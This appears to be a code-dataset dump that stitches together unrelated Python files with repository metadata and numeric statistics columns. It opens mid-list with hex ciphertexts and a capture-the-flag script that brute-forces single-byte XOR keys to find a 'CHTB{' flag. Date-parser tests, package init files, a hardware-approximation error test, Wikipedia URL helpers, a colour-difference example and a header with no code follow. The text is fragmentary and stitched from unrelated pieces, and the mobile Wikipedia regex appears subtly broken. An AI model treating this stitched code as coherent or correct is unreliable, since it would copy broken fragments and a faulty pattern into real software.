'bf5e77d1d049c19e9656f508c69acaf1e9265c661669edd995f0', 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'fdaeec13660b49898435b07c8830310a438bdcc1ef9c9bf413ac', '5e905b4bfa7d13139dc440f069f06578f96c3c7f61cecdb546e1', 'da6339973767455dd77eb28373e1d541aac00ce728029194bd1b', '48f433d6016e18d5ba720f803a2a76ca08a329198c5998ae554c', 'e6d6bd5cc3f4351676e4c5e7a4c869b7add6ebc9659173c31589', '477e247c76b03d4febc1b374473d5289380684b54c06ca8c1829', '70e8f1e7c93fbaf37cf43ced35e1c86e94b24a2fc45f5d8dfc7b', '145ea46f138894f902f066fb66eb85a12e6ef54c49821bcc2773', '1ae9e5a9cac88a830b6d67ec5ae753d350c28bb499e4cf429ece', '7e5c386b99f860995ccc3a3147677637babfcf7a4e63094df805', 'b3543e4fc1aaaa4dbcd7b720db112c72fb615edd69e076cb66cd', '168d04f977ac33654507e25acc17a8684aae53c7831e78b6295c', 'eb15e0dc146cc300d87241134838bf9ff2cc5caf3b3bc2bab7ca', 'ccbc2f425946e583213c072e37accfa2c22c5296804858d96cdf', 'dd370386330a5fa1ce6dd96d6feeec1db1f25aad594a12d5b06a', 'e27f201e6df13dc2116142729a57e15680e90294d01520a3ac62', '28153c3041a8e1bbefe927de9b33d755de07b8a0d7bf7e382a57', '88038b1476777bbc7ed80e7929f62a550eb7f0db4829c483b87c', '1c8c4d3b6b94fba64c237de2e8700643d933577db7d990dd999b', '84173abec4e2b0304c42f95099ba98289214bd5b22b1617fd9f7', '7097727b256027aca0caaca05a224a6033a9a651ca96723301a7', '2c4c16ed7578618637372917ac5baeac0679ace63b0ecb097ef3', '241be059fae1b234d6cc3298f0f7ab62a096e1d44b1e212327c6', 'deb6724e2447743bae6e9e3736484648c67bb85464c9c83e6078', 'af034e82f8517defc94388436de896ca62f67b7cdcd04314e016', '5ff085974aa2fdcdae69abc39f3013dde359c2b1f411e0821674', '8a241930e768fef86be9a74fdf048f41b28eb8973d28d5257632', '11739ba4e488901ffea3a3229625deb2e0557a905b56cf9d34bc', '3fb792cf72cb6bf904e69d69697c10200472c00a0b61aa1f8df4', 'bbb12c8dbb4431d2afcafe1577830b4dc701e1a72cb69857f6f3', '4c67393572d25cc0666420c0920cbd07c522990b5b396f1dcc29', 'c58311a22019835865751d96e75e8d2ff7e9d1a00285128606c6', '087b7ca9a1e24ff29d6c57e2800686ade5ec86ee28dc3e2bd6ca', 'a6dd00819057f91891482bc053288f2b7a5e08fea840493c4c8e', '74d5137ade2c226e7ea998f2e08df390b50c70a4d4834c6b4492', '3ee08a0c6fdbe5cdd4446aa4c947606a0be4f8c70aff018d5bb9', '96c96c899a76901c51f102039959fc7e12c561d022d550bc6aad', '9d1a0678d32e7b67fb1b1e844a4b95471764a9eed65b15a88edf', '62bf3580c0bed33d118fea2b6e5c9d75b4854c262f96f86c4a8f', '603d1eaf30644667893112094d2493e097df0c485913adff9c6a', '83181d17dee4359572de0126375b749c0dcf88f8d680d0f52c94', 'e4069245766a58fa67350ed8051ddea14827eab9c7a2d54064a1', 'a94995a036972dabccdfcb212633059acc493445e42bf329855c', 'b436f07c2d0522e1c68fe8dd3f5acada1f8b0aec9e088e814f5b', 'a7c124cf20bebb889da1a1de3de6f8bed415bab918bf701161e1', 'c94366fb3dadb470421224aba520a37a012537a73d6da8c4a8ab', 'cbc81185f36c260e051c37150d3c2fff330bb4fa1e055c478cfc', '3d2d4b145eb516ba200b10ff85d59de662adf400f9e855d79d17', '470dff353b577cf0faad76697307bb6d092fc08fc476a821c3d5', '3681734c443e51be5f034c463d4beeabd07d3e0faed245d55e11', 'ea574010274600d6205158f37a100f1a3361eb44883cd67125ac', '59398b47f4a98af6517b0da700fc15c86667c8c82f570a5a4311', '57f8c0fb3909271f6c68adcf96fa425ade92076e8393b88de0c1', 'afea71fee873cc4dd3293bcece12f15a2a652437d4b9c8b9d8a5', '7622d767bcb6f614d3e6e0487fcacd2aceb1c6ca9ce04e8bda9d', '258ea07f9e09c27f9bacd8838fb658edd92da2b75e088c11ec80', '326b2c65fabf2bb175533279699ab66202b125c63a3a62b21eca', '3bfd11a3def9f3697f8e54e76080256ff2fba08fbc928e75bfad', '72408f052de5680f8c4456cff4a1393381a5440755ccacf5e9fc', 'c9c8b7ec9833d79c3fa5525b03b2a4e25d8ef6ab3e3d18e9cd84', 'd2c3e8b95b2f08076eae9ae204328e3cf41acffeb8e109968c57', '025b24124b63c1c71829ddb2c21180379a50d51cbb674955c7c1', '6b9ac2b45f3310cebe3334831bdf38ccc2dc70a716555d40ed70', '1549bbb27b8fd95847adeaa7111eec60048cd6a6ee69c4c1da71', 'aca816e81321ac57e98bd2f6b8a78d9db8d74cf12cc3d97ad99a', 'c92b3b8fe0f8500b33f32c01468ac9fc229ca6b8f75fe8a5cc55', '3210d449f50f9f38a53e8449c154e831a5125ea6b47ad578fccd', '1a69d16fa52bcfd19bf34775f3e8fa42fa58a85e8c9c82ded642', '24df686767e389251536a19419bea56136c496d237f5948610de', '84774a66a2b0434a48aa48527a32720ff59fd3ade7c9bfe50d4f', '1e614e1a732c3f3cb9881cadcac7abf3bacbe40cb2a18ffb295d', '7800be9243e6cb4af113dd4416129da7309e1285c770c9e54bea', 'dae68e770c09dc8bbf61b4c2a65d2225b911d62e2270ce940e0f', '128bef7a33d587e2bd90747ef716187fd6804629ff8ed1629118', '36ba52c9f51c6c17cb5ab94289fdcbbdab3ca008e8de207ab7c3', '7a1c75482c054d7a0dfee231ba531cd14a61675c7c4b1937bc32', 'efed2ac79d0eb9ac9832310fd65e6554450715c5bed2dca51465', 'e20e33fc19846cc2a32dc82fe813387b70372ee1c235a52bc69a', '0c5bfe472111a647aad020fd12387302b7ac9814fa560d67b379', '3327aeedc0a89d7f06891d63cf4c3a852be5fde4c433fb5126d8', 'af621f3b4e5c075d4f4bfab52c86c95a78e8348757b9c78125ed', '2d188c024bc9c1c6806ac57404d323227fe0dc255a60016c6af2', '3a3a9692775de5affeb1f2ae07eb1138dfc29c0740209d66fd59', '17fce19da0cd2918416b5f2647e43e42d67451056120b7000c0d', '9d2e37863e4928df15aec22d268ebb488af4ef2f42946ff12f22', 'cdb4e35b677dfb1fd61c2e43a9305c969b8070a29e6f59518262', 'e54fa0dc52754603a1e1f6ecf50c29c054d624c4e0f86c67cf92', 'b5b0536b3630dd1bd6b3d41d85bc99d82d99931cf896ddedde93', 'fee97ee3c34936f6fe87b8b144b232838b1a9f29c64a6261cddd', 'bb61d16f959328dd8a6c212de5891f5cd5ba4041640301a28637', '67e0a569802282f4d373826034d96602bf11a0a52ba59ce3a3f6', 'ac1ab8512a1ae15f9919934f688d2714d8732788ed5fb10b43e6', 'c7ccd3d1511e985184bedcd76be8d823c81bcf96560e39075962', 'c0244519b0aeb410598b2396ca59b90ad78567505cd51834c7ef', '1883648d986f0d179b0022a02b9c2343844f2cf3e498653c6217', 'de629cd76d7c83c3aae6b20d0229ed0cb0b2d25f5c5e82c0c473', '9d8602697b27bf9245e45bcbedab73d3dab389b2969e03f82fe5', 'fb62f162aac5f47d99af0aee3437e3c61ba0adbe8823a59dc5c9', '50fe683cfd3c470a48a07c3b0a4998c2b1270497374696a323f4', 'cd51b56b6d78186fea11bd3927a8ba45f469dd83a1506df33835', 'c3148c90b5bbaa390de2687be4b3f135f5f16d828f01eba0975a', '5810558e75844d37965ea773567979baa12fc65da02ddcec505b', '905566844c1679fd7fc5e7948a218091761bc320232d75aa05ab', '85e42ef5dee4c446dfe59262e526b33c9a42047ae002baa70340', 'f010fcbbccdc0f4a889a4cd350ce9bb87852ea01e7cfaa0c9973', 'b8092ba2ef783306ac05508c3e3058cfaa77b61144e62332d5da', 'a07e54a3fd0eba81532772b5cedb852f32234746cf83076f72a1', '67d0321a71382ab244ed0b0818a8802fe200b3bb7eb87ad575d6', '945a6d9b48a56066de3e3741267309b5dba9644a0e005e264a98', '150b13393b290925ad462da905f1a2a2b98d62c0ef594856fccc', 'f95cb16f35fc702ffcc3dbd97f801bc6d01fe4e4018550a54949', 'e899043efef0aba3f2cf91ff39e3e2d19a5e216b22f2af851915', '048fba02632edd2c96a8d2f255949130402173bba3d1ecdb4d55', '2b75aef6f95981e8bdba56086d93b4b60ce68a3fa8d16acb6e18', 'e05d56418717969c33217e46db2ca8b463083d24334149981621', 'ab96d63c4f74583f071bfae636b3d8248d342bec18df37ed9a8a', '839315753ed42f657b810b6d0e801b79a0733181a9e965a41e6e', '8606614be82108272cb564400f22ad87954272d7a13dff866ac6', '158251de878df444b50b4022cd13c4ada12b2736696f003616e3', 'e4eca32356b388f91ce4bf01b4c394e5b705763db35a227c9f8b', '7553f89f9862134f184f4171c4710ea48b8757546fc3b4e115d5', 'b06aaa4dc060fc124907b93f7d8fc0c2e2452a34bc3bffa49c2f', 'c1f7002883a18da5b29eb425e7d46e709ed8ff760a885fbab3ec'] for ct,num in zip(data,range(len(data))): for key in range(256): pt = "" ct1 = int(ct,16) ct1 = long_to_bytes(ct1) for i in ct1: pt+= chr(i^key) if 'CHTB{' in pt: print(pt) print(key) print(0/0) print(num,key)

35,022

560,007

0.928286

10,052

560,352

51.747413

0.997612

0.000027

0

0.589987

0.018092

560,352

15

560,008

37,356.8

0.3554

0

0.927997

0.927988

0

1

0

false

0

0.071429

0

0.071429

0.285714

0

1

null

0

1

0

1

0

1

null

0

7

b66d5c75e0661ae6bd947859bf6f1ffc1da63da0

3,705

py

Python

test/test_atdate.py

pjbollinger/at-date

e948d39677ff1a1cc0a3a3febc57981e52d06a09

[ "MIT" ]

null

test/test_atdate.py

pjbollinger/at-date

e948d39677ff1a1cc0a3a3febc57981e52d06a09

[ "MIT" ]

null

test/test_atdate.py

pjbollinger/at-date

e948d39677ff1a1cc0a3a3febc57981e52d06a09

[ "MIT" ]

null

from datetime import datetime from freezegun import freeze_time import atdate def test_at_date_has_parse_attribute(): assert hasattr(atdate, 'parse') def test_at_date_has_atdateparser_attribute(): assert hasattr(atdate, 'AtDateParser') def test_parse_return_datetime_object(): test_string = 'noon' result = atdate.parse(test_string) assert isinstance(result, datetime) @freeze_time('2000-01-02 03:04:05') def test_at_noon_before_noon(): test_string = 'noon' result = atdate.parse(test_string) assert result == datetime(2000, 1, 2, 12, 0, 0, 0) @freeze_time('2000-01-02 13:04:05') def test_at_noon_after_noon(): test_string = 'noon' result = atdate.parse(test_string) assert result == datetime(2000, 1, 3, 12, 0, 0, 0) @freeze_time('2000-01-31 13:04:05') def test_at_noon_month_change(): test_string = 'noon' result = atdate.parse(test_string) assert result == datetime(2000, 2, 1, 12, 0, 0, 0) @freeze_time('2000-12-31 13:04:05') def test_at_noon_year_change(): test_string = 'noon' result = atdate.parse(test_string) assert result == datetime(2001, 1, 1, 12, 0, 0, 0) @freeze_time('2000-01-02 03:04:05') def test_at_midnight(): test_string = 'midnight' result = atdate.parse(test_string) assert result == datetime(2000, 1, 3, 0, 0, 0, 0) @freeze_time('2000-01-31 13:04:05') def test_at_midnight_month_change(): test_string = 'midnight' result = atdate.parse(test_string) assert result == datetime(2000, 2, 1, 0, 0, 0, 0) @freeze_time('2000-12-31 13:04:05') def test_at_midnight_year_change(): test_string = 'midnight' result = atdate.parse(test_string) assert result == datetime(2001, 1, 1, 0, 0, 0, 0) @freeze_time('2000-01-02 03:04:05') def test_at_now(): test_string = 'now' result = atdate.parse(test_string) assert result == datetime(2000, 1, 2, 3, 4, 5, 0) @freeze_time('2000-01-02 03:04:05') def test_at_now_next_minute_change_minute(): test_string = 'now next minute' result = atdate.parse(test_string) assert result == datetime(2000, 1, 2, 3, 5, 5, 0) @freeze_time('2000-01-02 03:04:05') def test_at_now_next_minutes(): test_string = 'now next minutes' result = atdate.parse(test_string) assert result == datetime(2000, 1, 2, 3, 5, 5, 0) @freeze_time('2000-01-02 03:59:05') def test_at_now_next_minute_change_hour(): test_string = 'now next minute' result = atdate.parse(test_string) assert result == datetime(2000, 1, 2, 4, 0, 5, 0) @freeze_time('2000-01-02 23:59:05') def test_at_now_next_minute_change_day(): test_string = 'now next minute' result = atdate.parse(test_string) assert result == datetime(2000, 1, 3, 0, 0, 5, 0) @freeze_time('2000-01-02 03:04:05') def test_at_now_next_hour(): test_string = 'now next hour' result = atdate.parse(test_string) assert result == datetime(2000, 1, 2, 4, 4, 5, 0) @freeze_time('2000-01-02 03:04:05') def test_at_now_next_day(): test_string = 'now next day' result = atdate.parse(test_string) assert result == datetime(2000, 1, 3, 3, 4, 5, 0) @freeze_time('2000-01-02 03:04:05') def test_at_now_next_week(): test_string = 'now next week' result = atdate.parse(test_string) assert result == datetime(2000, 1, 9, 3, 4, 5, 0) @freeze_time('2000-01-02 03:04:05') def test_at_now_next_month(): test_string = 'now next month' result = atdate.parse(test_string) assert result == datetime(2000, 2, 2, 3, 4, 5, 0) @freeze_time('2000-01-02 03:04:05') def test_at_now_next_year(): test_string = 'now next year' result = atdate.parse(test_string) assert result == datetime(2001, 1, 2, 3, 4, 5, 0)

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fcb93ed1c4de35b670991c972a7e2e1cd0d25fd8

49

py

Python

test_files/unused_rel_import.expected.py

RamonWill/zimports

26f01fd1f7105b510f4723059af77531431b0bd8

[ "MIT" ]

65

2019-01-02T05:44:38.000Z

2021-11-08T11:47:09.000Z

test_files/unused_rel_import.expected.py

RamonWill/zimports

26f01fd1f7105b510f4723059af77531431b0bd8

[ "MIT" ]

32

2019-01-07T15:43:15.000Z

2022-02-09T20:36:32.000Z

test_files/unused_rel_import.expected.py

RamonWill/zimports

26f01fd1f7105b510f4723059af77531431b0bd8

[ "MIT" ]

7

2019-01-07T15:11:31.000Z

2020-07-08T17:42:13.000Z

from . import bar def go(): return bar()

6.125

17

0.55102

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49

3.857143

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null

0

1

0

1

0

8

fcbd525d7bfe20e6dbd2a931b21ec1a099d49ddd

30

py

Python

tensorboard/tf_enabled.py

ml7/tensorboard

6f3988ecdb3ae719585e6f278d875e381b616783

[ "Apache-2.0" ]

null

tensorboard/tf_enabled.py

ml7/tensorboard

6f3988ecdb3ae719585e6f278d875e381b616783

[ "Apache-2.0" ]

null

tensorboard/tf_enabled.py

ml7/tensorboard

6f3988ecdb3ae719585e6f278d875e381b616783

[ "Apache-2.0" ]

null

def use_tf(): return True

10

15

0.633333

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7

fce06a66721a9caced1e5be149129d73e23b995a

144

py

Python

iprofile/texts/__init__.py

victorfsf/python-ishell

e9b50ad5962c7c3fc4d35377b0fe1407a6624ac3

[ "MIT" ]

7

2016-02-17T17:04:43.000Z

2016-07-13T02:03:58.000Z

iprofile/texts/__init__.py

victorfsf/python-ishell

e9b50ad5962c7c3fc4d35377b0fe1407a6624ac3

[ "MIT" ]

16

2016-02-09T15:57:59.000Z

2021-06-10T18:08:23.000Z

iprofile/texts/__init__.py

victorfsf/python-ishell

e9b50ad5962c7c3fc4d35377b0fe1407a6624ac3

[ "MIT" ]

1

2016-03-30T02:08:23.000Z

# -*- coding: utf-8 -*- from .errors import * # noqa from .helpers import * # noqa from .inputs import * # noqa from .logs import * # noqa

20.571429

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0

7

1e1bc093d0e9c4b401c3b2d50b8ef7da04639336

156

py

Python

shared/__init__.py

mssalvador/NextProject

b9e223f8f1de803fd3865c3f2148a417f88556da

[ "Apache-2.0" ]

1

2017-10-10T07:00:46.000Z

shared/__init__.py

mssalvador/NextProject

b9e223f8f1de803fd3865c3f2148a417f88556da

[ "Apache-2.0" ]

null

shared/__init__.py

mssalvador/NextProject

b9e223f8f1de803fd3865c3f2148a417f88556da

[ "Apache-2.0" ]

2

2018-11-19T09:07:49.000Z

2018-11-28T12:54:25.000Z

from shared.create_dummy_data import create_spark_data, create_norm_cluster_data_pandas __all__ = ['create_spark_data', 'create_norm_cluster_data_pandas']

39

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0

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8

1e517716039e76000bbd83f91370f57df9445dff

9,614

py

Python

test/raven/test_raven_ops.py

wudidaizi/RAVEN

10d126930ed31056e55803da4f8d606cde2b56d2

[ "MIT" ]

null

test/raven/test_raven_ops.py

wudidaizi/RAVEN

10d126930ed31056e55803da4f8d606cde2b56d2

[ "MIT" ]

null

test/raven/test_raven_ops.py

wudidaizi/RAVEN

10d126930ed31056e55803da4f8d606cde2b56d2

[ "MIT" ]

1

2019-11-18T19:38:13.000Z

# %% import torch from RAVEN.pe.raven.ops import RAVENexp, RAVENdiv, RAVENlog, RAVENsigmoid, RAVENtanh, RAVENsoftmax, RAVENlogsoftmax from RAVEN.pe.uno.ops import UNOsigmoid, UNOtanh, UNOsoftmax, UNOlogsoftmax import time import argparse # parameters for raven design parser = argparse.ArgumentParser(description='RAVEN PE') parser.add_argument('--cycle', type=int, default=8, metavar='C', help='cycle count for nonlinear operation') parser.add_argument('--intwidth-max', type=int, default=7, metavar='I', help='maximum integer width') parser.add_argument('--fracwidth-max', type=int, default=8, metavar='F', help='maximum fracwidth width') parser.add_argument('--bitwidth-reduce', action='store_true', default=False, help='allows to reduce MAC bitwidth') parser.add_argument('--rounding', type=str, default='round', metavar='R', help='rounding mode') parser.add_argument('--verbose', action='store_true', default=False, help='evaluate complex functions beyond div/exp/log') global args args = parser.parse_args() device = torch.device("cuda:0" if torch.cuda.is_available() else "cpu") cycle=args.cycle intwidth_max=args.intwidth_max fracwidth_max=args.fracwidth_max bitwidth_reduce=args.bitwidth_reduce rounding=args.rounding #################################################################################### print("# # # # # # # # # # # # # # # #") print("# Test RAVENdiv") print("# # # # # # # # # # # # # # # #") start, end, interval = 0.5, 1., 0.001 print("input range: ", start, end) y = torch.tensor([1.]).to(device) x = torch.arange(start, end, interval).to(device) y.requires_grad_() x.requires_grad_() approximate = RAVENdiv(cycle=cycle, intwidth_max=intwidth_max, fracwidth_max=fracwidth_max, bitwidth_reduce=bitwidth_reduce, rounding=rounding).to(device)(y, x) approximate.sum().backward() y = torch.tensor([1.]).to(device) x = torch.arange(start, end, interval).to(device) y.requires_grad_() x.requires_grad_() precise = torch.div(y, x) precise.sum().backward() error = (approximate - precise) / precise print("relative error: %1.3f ~ %1.3f (mean %1.3f)" % (error.min().item(), error.max().item(), error.mean().item())) print("\trms error: %1.3f" % (error.mul(error).mean().sqrt()).item()) error = (approximate - precise) print("absolute error: %1.3f ~ %1.3f (mean %1.3f)" % (error.min().item(), error.max().item(), error.mean().item())) print("\trms error: %1.3f" % (error.mul(error).mean().sqrt()).item()) print("\n") #################################################################################### print("# # # # # # # # # # # # # # # #") print("# Test RAVENexp") print("# # # # # # # # # # # # # # # #") start, end, interval = 0., 1., 0.001 print("input range: ", start, end) x = torch.arange(start, end, interval).to(device) x.requires_grad_() approximate = RAVENexp(cycle=cycle, intwidth_max=intwidth_max, fracwidth_max=fracwidth_max, bitwidth_reduce=bitwidth_reduce, rounding=rounding).to(device)(x) approximate.sum().backward() x = torch.arange(start, end, interval).to(device) x.requires_grad_() precise = torch.exp(x) precise.sum().backward() error = (approximate - precise) / precise print("relative error: %1.3f ~ %1.3f (mean %1.3f)" % (error.min().item(), error.max().item(), error.mean().item())) print("\trms error: %1.3f" % (error.mul(error).mean().sqrt()).item()) error = (approximate - precise) print("absolute error: %1.3f ~ %1.3f (mean %1.3f)" % (error.min().item(), error.max().item(), error.mean().item())) print("\trms error: %1.3f" % (error.mul(error).mean().sqrt()).item()) print("\n") #################################################################################### print("# # # # # # # # # # # # # # # #") print("# Test RAVENlog") print("# # # # # # # # # # # # # # # #") start, end, interval = 0.5, 1., 0.001 print("input range: ", start, end) x = torch.arange(start, end, interval).to(device) x.requires_grad_() approximate = RAVENlog(cycle=cycle, intwidth_max=intwidth_max, fracwidth_max=fracwidth_max, bitwidth_reduce=bitwidth_reduce, rounding=rounding).to(device)(x) approximate.sum().backward() x = torch.arange(start, end, interval).to(device) x.requires_grad_() precise = torch.log(x) precise.sum().backward() error = (approximate - precise) / precise print("relative error: %1.3f ~ %1.3f (mean %1.3f)" % (error.min().item(), error.max().item(), error.mean().item())) print("\trms error: %1.3f" % (error.mul(error).mean().sqrt()).item()) error = (approximate - precise) print("absolute error: %1.3f ~ %1.3f (mean %1.3f)" % (error.min().item(), error.max().item(), error.mean().item())) print("\trms error: %1.3f" % (error.mul(error).mean().sqrt()).item()) print("\n") if args.verbose is True: #################################################################################### print("# # # # # # # # # # # # # # # #") print("# Test RAVENsigmoid") print("# # # # # # # # # # # # # # # #") start, end, interval = -1., 1., 0.001 print("input range: ", start, end) x = torch.arange(start, end, interval).to(device) x.requires_grad_() approximate = RAVENsigmoid(cycle=cycle, intwidth_max=intwidth_max, fracwidth_max=fracwidth_max, bitwidth_reduce=bitwidth_reduce, rounding=rounding).to(device)(x) approximate.sum().backward() x = torch.arange(start, end, interval).to(device) x.requires_grad_() precise = torch.sigmoid(x) precise.sum().backward() error = (approximate - precise) / precise print("relative error: %1.3f ~ %1.3f (mean %1.3f)" % (error.min().item(), error.max().item(), error.mean().item())) print("\trms error: %1.3f" % (error.mul(error).mean().sqrt()).item()) error = (approximate - precise) print("absolute error: %1.3f ~ %1.3f (mean %1.3f)" % (error.min().item(), error.max().item(), error.mean().item())) print("\trms error: %1.3f" % (error.mul(error).mean().sqrt()).item()) print("\n") #################################################################################### print("# # # # # # # # # # # # # # # #") print("# Test RAVENtanh") print("# # # # # # # # # # # # # # # #") start, end, interval = -1., 1., 0.001 print("input range: ", start, end) x = torch.arange(start, end, interval).to(device) x.requires_grad_() approximate = RAVENtanh(cycle=cycle, intwidth_max=intwidth_max, fracwidth_max=fracwidth_max, bitwidth_reduce=bitwidth_reduce, rounding=rounding).to(device)(x) approximate.sum().backward() x = torch.arange(start, end, interval).to(device) x.requires_grad_() precise = torch.tanh(x) precise.sum().backward() error = (approximate - precise) / precise print("relative error: %1.3f ~ %1.3f (mean %1.3f)" % (error.min().item(), error.max().item(), error.mean().item())) print("\trms error: %1.3f" % (error.mul(error).mean().sqrt()).item()) error = (approximate - precise) print("absolute error: %1.3f ~ %1.3f (mean %1.3f)" % (error.min().item(), error.max().item(), error.mean().item())) print("\trms error: %1.3f" % (error.mul(error).mean().sqrt()).item()) print("\n") #################################################################################### print("# # # # # # # # # # # # # # # #") print("# Test RAVENsoftmax") print("# # # # # # # # # # # # # # # #") start, end, interval = -1., 1., 0.1 print("input range: ", start, end) x = torch.arange(start, end, interval).to(device) x.requires_grad_() approximate = RAVENsoftmax(dim=0, cycle=cycle, intwidth_max=intwidth_max, fracwidth_max=fracwidth_max, bitwidth_reduce=bitwidth_reduce, rounding=rounding).to(device)(x) approximate.sum().backward() x = torch.arange(start, end, interval).to(device) x.requires_grad_() precise = torch.nn.Softmax(dim=0)(x) precise.sum().backward() error = (approximate - precise) / precise print("relative error: %1.3f ~ %1.3f (mean %1.3f)" % (error.min().item(), error.max().item(), error.mean().item())) print("\trms error: %1.3f" % (error.mul(error).mean().sqrt()).item()) error = (approximate - precise) print("absolute error: %1.3f ~ %1.3f (mean %1.3f)" % (error.min().item(), error.max().item(), error.mean().item())) print("\trms error: %1.3f" % (error.mul(error).mean().sqrt()).item()) print("\n") #################################################################################### print("# # # # # # # # # # # # # # # #") print("# Test RAVENlogsoftmax") print("# # # # # # # # # # # # # # # #") start, end, interval = -1., 1., 0.1 print("input range: ", start, end) x = torch.arange(start, end, interval).to(device) x.requires_grad_() approximate = RAVENlogsoftmax(dim=0, cycle=cycle, intwidth_max=intwidth_max, fracwidth_max=fracwidth_max, bitwidth_reduce=bitwidth_reduce, rounding=rounding).to(device)(x) approximate.sum().backward() x = torch.arange(start, end, interval).to(device) x.requires_grad_() precise = torch.nn.LogSoftmax(dim=0)(x) precise.sum().backward() error = (approximate - precise) / precise print("relative error: %1.3f ~ %1.3f (mean %1.3f)" % (error.min().item(), error.max().item(), error.mean().item())) print("\trms error: %1.3f" % (error.mul(error).mean().sqrt()).item()) error = (approximate - precise) print("absolute error: %1.3f ~ %1.3f (mean %1.3f)" % (error.min().item(), error.max().item(), error.mean().item())) print("\trms error: %1.3f" % (error.mul(error).mean().sqrt()).item()) print("\n")

42.539823

175

0.584668

1,180

9,614

4.687288

0.1

0.030374

0.040499

0.04303

0.800579

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0.775267

0

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225

176

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0.656197

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0

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0

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0

null

0

1

0

1

0

null

0

7

1ead3f50ea269541a514e1e95508638dba4ca3a4

167

py

Python

tests/transactions/builder/test_multi_payment.py

supaiku0/python-crypto

112bfe2f7f581d317d6be65c0c38dad5c9689f5c

[ "MIT" ]

null

tests/transactions/builder/test_multi_payment.py

supaiku0/python-crypto

112bfe2f7f581d317d6be65c0c38dad5c9689f5c

[ "MIT" ]

null

tests/transactions/builder/test_multi_payment.py

supaiku0/python-crypto

112bfe2f7f581d317d6be65c0c38dad5c9689f5c

[ "MIT" ]

1

2019-11-26T15:37:56.000Z

import pytest @pytest.mark.skip(reason='not implemented') def test_multi_payment_transaction(): """Test if multi payment transaction gets built """ pass

18.555556

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0.389831

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1

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7

1ead6cc400261babff521b348f5d36e59bb1729d

606

py

Python

cyberspace/wikipedia/is_wikipedia_page_url.py

idin/cyberspace

0913f94bc66308abd997d1e15253fb32ee527ef3

[ "MIT" ]

null

cyberspace/wikipedia/is_wikipedia_page_url.py

idin/cyberspace

0913f94bc66308abd997d1e15253fb32ee527ef3

[ "MIT" ]

null

cyberspace/wikipedia/is_wikipedia_page_url.py

idin/cyberspace

0913f94bc66308abd997d1e15253fb32ee527ef3

[ "MIT" ]

null

import re def is_wikipedia_page_url(url): wikipedia_url_regex_str = '^(http|https)://.+\.wikipedia.org/' wikipedia_url_regex = re.compile(wikipedia_url_regex_str) if re.match(wikipedia_url_regex, url): return True else: return False def is_mobile_wikipedia_page_url(url): wikipedia_url_regex_str = '^(http|https)://.+\./m\.wikipedia.org/' wikipedia_url_regex = re.compile(wikipedia_url_regex_str) if re.match(wikipedia_url_regex, url): return True else: return False def convert_mobile_wikipedia_page_url_to_normal_page(url): return url.replace('.m.wikipedia.org', '.wikipedia.org')

25.25

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0.770627

92

606

4.706522

0.271739

0.221709

0.314088

0.184758

0.752887

0

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0.118812

0

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0.176471

false

0

0.058824

0.529412

0

null

1

0

1

0

null

0

1

0

9

94cb20c04fafaccfed7e0a9ed8086553ec23f2d6

349

py

Python

bnpy/birthmove/__init__.py

zhaottcrystal/bnpy

0195a0228e9e698799e52a6dfa1d051e82b43fd0

[ "BSD-3-Clause" ]

1

2019-05-14T19:56:53.000Z

bnpy/birthmove/__init__.py

zhaottcrystal/bnpy

0195a0228e9e698799e52a6dfa1d051e82b43fd0

[ "BSD-3-Clause" ]

null

bnpy/birthmove/__init__.py

zhaottcrystal/bnpy

0195a0228e9e698799e52a6dfa1d051e82b43fd0

[ "BSD-3-Clause" ]

1

2020-09-01T13:21:18.000Z

''' birthmove module ''' from birthmove.BLogger import * from birthmove.BirthProposalError import BirthProposalError from birthmove.BPlanner import selectShortListForBirthAtLapStart from birthmove.BPlanner import selectCompsForBirthAtCurrentBatch from birthmove.BRestrictedLocalStep import \ summarizeRestrictedLocalStep, \ makeExpansionSSFromZ

29.083333

64

0.868195

27

349

11.222222

0.444444

0.214521

0.138614

0.178218

0

0.088825

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11

65

31.727273

0.95283

0.045845

0

1

0

true

0

0.714286

0

0.714286

0

1

0

1

null

1

0

1

0

null

0

1

0

1

0

1

0

7

94d0347ed66c82d721b5f4a92c05b6b684a2846e

190

py

Python

pcdet/utils/CIEDE2000-master/example.py

sourcery-ai-bot/PV_ENcoNet

24f2cde258caf6a3fa82f2e1579de833727aac11

[ "Apache-2.0" ]

4

2021-02-18T10:22:11.000Z

2021-12-31T06:11:04.000Z

pcdet/utils/CIEDE2000-master/example.py

sourcery-ai-bot/PV_ENcoNet

24f2cde258caf6a3fa82f2e1579de833727aac11

[ "Apache-2.0" ]

3

2021-03-01T10:14:08.000Z

2022-01-05T09:19:44.000Z

pcdet/utils/CIEDE2000-master/example.py

sourcery-ai-bot/PV_ENcoNet

24f2cde258caf6a3fa82f2e1579de833727aac11

[ "Apache-2.0" ]

4

2021-02-21T06:14:08.000Z

2021-05-06T07:04:56.000Z

from ciede2000 import CIEDE2000 print(CIEDE2000((50, 2.6772, -79.7751), (50, 0.0000, -82.7485))) print(CIEDE2000((50, 0, 0), (50.0000, -1, 2))) print(CIEDE2000((50, 2.5, 0), (73, 25, -18)))

38

64

0.626316

34

190

3.5

0.529412

0.352941

0.403361

0.285714

0

0.410714

0.115789

190

5

65

38

0.297619

0

1

0

true

0

0.25

0

0.25

0.75

0

null

1

0

1

0

1

0

1

0

null

0

1

0

1

0

8

bfae15a8ea744326cac508fc626345f675baf59d

21

py

Python

leehao/calc.py

pilihaotian/pythonlearning

e84b7766cc9ea8131e9720fb1f06761c9581d0da

[ "Apache-2.0" ]

1

2020-02-26T14:52:17.000Z

leehao/calc.py

pilihaotian/pythonlearning

e84b7766cc9ea8131e9720fb1f06761c9581d0da

[ "Apache-2.0" ]

null

leehao/calc.py

pilihaotian/pythonlearning

e84b7766cc9ea8131e9720fb1f06761c9581d0da

[ "Apache-2.0" ]

null

print(1+2*3/4-5*6**2)

21

0.571429

8

21

1.5

0.875

0

0.333333

0

21

1

21

0.238095

0

1

0

true

0

1

null

0

1

0

1

0

1

0

null

0

1

0

1

0

8

bfbc3e790ebd556a6797f16a6d192338272bab86

235,532

py

Python

elements_sdk/api/automation_api.py

elements-storage/elements-sdk-python

39c365fe079dcd5928c5fe1bbaa67389bd5a3d81

[ "MIT" ]

6

2020-11-16T23:15:18.000Z

2022-03-14T03:56:12.000Z

elements_sdk/api/automation_api.py

elements-storage/elements-sdk-python

39c365fe079dcd5928c5fe1bbaa67389bd5a3d81

[ "MIT" ]

1

2021-07-28T13:03:49.000Z

2021-08-25T12:24:01.000Z

elements_sdk/api/automation_api.py

elements-storage/elements-sdk-python

39c365fe079dcd5928c5fe1bbaa67389bd5a3d81

[ "MIT" ]

null

